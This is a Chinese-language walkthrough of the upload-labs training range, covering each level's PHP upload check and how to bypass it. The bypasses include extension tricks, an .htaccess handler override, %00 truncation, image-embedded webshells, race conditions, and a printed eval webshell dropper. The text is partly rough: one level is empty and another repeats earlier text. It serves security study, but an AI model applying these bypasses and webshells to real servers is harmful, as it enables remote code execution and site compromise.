文件上传漏洞(二)靶场
upload-labs
Pass01
在客户端用JavaScript对文件格式进行过滤
思路:使用插件禁用js或about:config javascript.enabled false
或修改用户端代码(F12),删除检验函数
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
上传成功
Pass02
读取文件类型作匹配,文件·类型通过MIME协议得到
漏洞描述:只检测 content-type 字段导致的漏洞。(后端利用 PHP 的全局数组$_FILES()获取上传文件信息)
在Web开发中,MIME类型也被用于指示浏览器如何处理服务器返回的数据,例如告知浏览器返回的是HTML文档、图片、CSS样式表还是JavaScript脚本等。常见的MIME类型包括:
- text/html:HTML文档
- image/jpeg:JPEG格式的图片
- application/pdf:PDF文档
- text/css:CSS样式表
- application/javascript:JavaScript脚本
MIME用法
客户端使用
GET请求不需要这个字段
POST请求头,放在Content Type字段用来指定上传的文件类型。放在Accept用来告诉服务端允许接受的响应类型。
服务端使用
放在响应头,Content Type字段用来指定上传的文件类型
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
改为image/jpeg
Pass03
黑名单
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
思路:等价扩展名,例如webshell .php换成.php3
特殊文件名绕过: .php3 .php4 .php5 .phtml .phtm .phps .phpt .php345
Pass04
漏洞描述:依然是使用黑名单限制,但几乎过滤了所有有问题的后缀名,但可以允许上传.htaccess 文件。
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess 文件,可以实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
利用方法:上传.htaccess 解析文件,利用其配置,将白名单文件的类型解析成php 文件类型。
上传.htaccess 文件 内容如下:(将服务器上的 test.jpg 文件解析成 php 文件,这里文件可以自由配置)
<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
再上传一个一句话木马,文件名为 test.jpg,依旧访问 test.jpg,但其会以 php形式显示
Pass05
Pass06
文件名后缀校验:对于文件名后缀的校验时,没有进行通用的大小转换后的校验-strtolower()
大小写绕过原理:
Windows 系统下,对于文件名中的大小写不敏感。例如:test.php 和 TeSt.PHP 是一样的。
Linux 系统下,对于文件名中的大小写敏感。例如:test.php 和 TesT.php 就是不一样的。
利用方法:文件后缀为.PHP
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Pass07
对上传的文件名未做去空格的操作 trim()
Windows 系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
利用方法:burp 抓包,修改对应的文件后缀名后 添加空格。
Pass08
漏洞描述:对上传的文件后缀名未做去点.的操作 ->strrchr($file_name, ‘.’)
利用 Windows 系统下,文件后缀名最后一个点会被自动去除。
利用方法:文件后缀名为 .php.
Pass09
漏洞描述:对上传的文件后缀名为做去::$DATA 处理
Windows 系统下,如果上传的文件名为 test.php::$DATA 会在服务器上生成一个
test.php 的文件,其中内容和所上传文件内容相同,并被解析。
利用方法:上传带有一句话木马的文件,其文件名为 test.php::$DATA
Pass10
漏洞描述:将文件名进行过滤操作后,将文件名拼接在路径后面,所以需要绕
过前面的首尾去空以及去点。
Pass11
漏洞描述:利用 str_ireplace()将文件名中符合黑名单的字符串替换成空
利用方式:利用双写黑名单字符,对字符串的一次过滤后拼接出 php,文件名.pphphp
Pass12
漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控
利用方法:设置上传路径为 upload/shell.php%00
添加 shell.php%00 内容为了控制路径,上传文件后缀为白名单即可 例:shell.jpg,保存后为
/upload/shell.php%00shell.jpg,但服务端读取到%00 时会自动结束,将文件
内容保存至 shell.php 中
Pass13
漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。
00
Pass14
文件头校验:通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型,利用图片马绕过检测。
利用方法:图片马制作
在 cmd 里执行 copy logo.jpg/b+test.php/a test.jpg
logo.jpg 为任意图片
test.php 为我们要插入的木马代码
test.jpg 为我们要创建的图片马
名字可任意
Pass15
getimagesize()校验:通过 getimagesize()获取上传文件信息,图片马绕过
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组
Pass16
exif_imagetype()绕过:利用 php 内置函数 exif_imagetype()获取图片类型(需要开启php_exif 模块)
利用方法:
图片马
Pass17
综合判断了后缀名、content-type,以及利用 imagecreatefromgif
判断是否为 gif 图片,并在最后对文件内容进行了二次渲染,修改文件内容
绕过方法:上传一个 GIF 图片马,然后将其下载下来,查看其十六进制的文件内容,
找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方
Pass18
条件竞争:先将文件上传到服务器,然后通过 rename 修改名称,再通过unlink 删除文件,因此可以通过条件竞争的方式在 unlink 之前,访问 webshell
利用方法:使用 burp 或者 python 脚本对要上传的文件路径进行不断的访问
(upload/webshell.php),上传一个 webshell.php,但访问该文件,会在目录下生成一个 webshell,文件内容为:
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
Ps:(1)不断上传文件,然后去访问 (2)不断访问,然后去上传文件
Pass19
逻辑漏洞(条件竞争-图片马):后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用 burp 发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename 的问题,从而上传成功
Pass20
逻辑漏洞(小数点绕过):使用 pathinfo($file_name,PATHINFO_EXTENSION)的方式检查文件名后缀(从最后一个小数点进行截取),并使用的是黑名单方式。
利用方法:上传一句话木马,在文件名后缀加一个小数点绕过 phpinfo.php.,上传成功可以直接访问 phpinfo.php
Pass21
逻辑漏洞(数组绕过):对参数$file 进行判断,如果不是,将其修改为数组,但我们提前传入数组时,造成漏洞
)**:使用 pathinfo($file_name,PATHINFO_EXTENSION)的方式检查文件名后缀(从最后一个小数点进行截取),并使用的是黑名单方式。
[外链图片转存中…(img-3ifLF6JS-1713090562880)]
利用方法:上传一句话木马,在文件名后缀加一个小数点绕过 phpinfo.php.,上传成功可以直接访问 phpinfo.php